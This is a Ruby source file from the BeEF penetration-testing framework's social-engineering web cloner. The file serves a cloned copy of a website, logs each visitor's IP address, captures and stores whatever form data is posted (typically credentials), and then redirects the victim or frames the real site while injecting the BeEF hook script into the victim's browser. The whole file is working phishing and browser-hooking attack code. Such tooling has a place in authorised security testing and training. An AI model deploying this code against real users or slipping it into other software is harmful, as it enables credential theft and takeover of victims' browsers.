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beefproject
GitHub Repository: beefproject/beef
 Path: blob/master/extensions/social_engineering/web_cloner/interceptor.rb
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#

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# Copyright (c) 2006-2025 Wade Alcorn - [email protected]

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# Browser Exploitation Framework (BeEF) - https://beefproject.com

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# See the file 'doc/COPYING' for copying permission

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#

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module BeEF

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  module Extension

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    module SocialEngineering

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      require 'sinatra/base'

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      class Interceptor < Sinatra::Base

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        configure do

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          set :show_exceptions, false

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        end

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        # intercept GET

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        get '/' do

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          print_info "GET request from IP #{request.ip}"

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          print_info "Referer: #{request.referer}"

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          cloned_page = settings.cloned_page

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          cloned_page

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        end

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        # intercept POST

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        post '/' do

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          print_info "POST request from IP #{request.ip}"

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          request.body.rewind

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          data = request.body.read

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          print_info 'Intercepted data:'

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          print_info data

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          interceptor_db = BeEF::Core::Models::Interceptor.new(

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            webcloner_id: settings.db_entry.id,

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            post_data: data,

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            ip: request.ip

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          )

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          interceptor_db.save

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          if settings.frameable

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            print_info 'Page can be framed :-) Loading original URL into iFrame...'

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            "<html><head><script type=\"text/javascript\" src=\"#{settings.beef_hook}\"></script>\n</head></head><body><iframe src=\"#{settings.redirect_to}\" style=\"border:none; background-color:white; width:100%; height:100%; position:absolute; top:0px; left:0px; padding:0px; margin:0px\"></iframe></body></html>"

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          else

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            print_info 'Page can not be framed :-) Redirecting to original URL...'

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            redirect settings.redirect_to

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          end

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        end

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      end

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    end

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  end

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end

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